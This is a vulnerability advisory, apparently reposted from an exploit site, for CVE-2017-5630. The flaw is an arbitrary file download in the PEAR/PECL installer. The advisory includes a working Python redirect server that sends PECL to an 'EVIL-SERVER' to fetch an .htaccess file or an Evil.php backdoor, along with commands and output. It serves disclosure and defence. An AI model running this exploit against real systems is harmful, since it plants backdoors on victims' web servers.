PHP PEAR 1.10.1 - Arbitrary File Download Vulnerability

[+]#############################################################################################
[+] Credits / Discovery: John Page AKA hyp3rlinx    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/PEAR-ARBITRARY-FILE-DOWNLOAD.txt
[+] ISR: ApparitionSEC
[+]#############################################################################################
 
 
 
Vendor:
============
pear.php.net
 
 
 
Product:
===================================
PEAR Base System v1.10.1
PEAR Installer's download utility
 
 
 
Vulnerability Type:
=======================
Arbitrary File Download
 
 
 
CVE Reference:
==============
CVE-2017-5630
 
 
 
Security Issue:
================
 
The download utility class in the Installer in PEAR Base System v1.10.1, does not validate file types and filenames after a redirect,
which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite.
 
e.g.
 
pecl download <http://some-vuln-server/file.tgz> 
 
PEAR does not rename the arbitrary invalid file to the originally requested (safe) filename.
Therefore, attackers can overwrite files or download a backdoor if the PECL request is made from from web accesible directory etc..
 
Moreover, PECL doesn't delete these invalid files upon download, giving the attacker time to exploit it if attackers
can force the HTTP connection to stay open, and before a "invalid file message" is noticed.
 
POC Video:
https://vimeo.com/201341280
 
 
Proof of concept:
This POC involves 3 machines:
First machine is victim making a PECL download command request
Second is the vuln server receiving the file download request
Third is the malicious server hosting the PHP backdoor, .htaccess file etc.
===========================================================================
 
1) Victim machine attempts to download a legit ".tgz" archive.
 
pecl download http://VULN-SERVER:8080/Test.tgz
 
 
2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker controls HTTP response.
 
 
3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php backdoor.
python -m SimpleHTTPServer 8888
 
 
On VULN-SERVER run "PECL-File-Exploit.py"
 
python PECL-File-Exploit.py 
 
 
import socket
 
HOST='localhost'
PORT=8080
TARGET='http://EVIL-SERVER:8888/'
FILE='.htaccess'
s = socket.socket()
s.bind((HOST, PORT))
s.listen(10)
 
print 'Waiting for PECL connections...'
 
 
while True:
    conn, addr = s.accept()
    junk = conn.recv(512) 
    conn.send('HTTP/1.1 302 Found\r\n')
    conn.send('Location: '+TARGET+FILE+'\r\n')
    conn.close()
s.close()
 
 
 
Then, make request for Test.tgz...
 
C:\xampp\htdocs\webapp>pecl download http://VULN-SERVER:8080/Test.tgz
 
downloading Evil.php ...
Starting to download Evil.php (4,665 bytes)
.....done: 4,665 bytes
File C:\xampp\htdocs\webapp\Evil.php downloaded
 
 
 
Disclosure Timeline:
=====================================
Vendor Notification: January 11, 2017
Informed "PECL package no longer maintained" : January 23, 2017
Opened Bug #2117 : January 25, 2017
January 29, 2017 : Public Disclosure

#  0day.today [2018-02-09]  #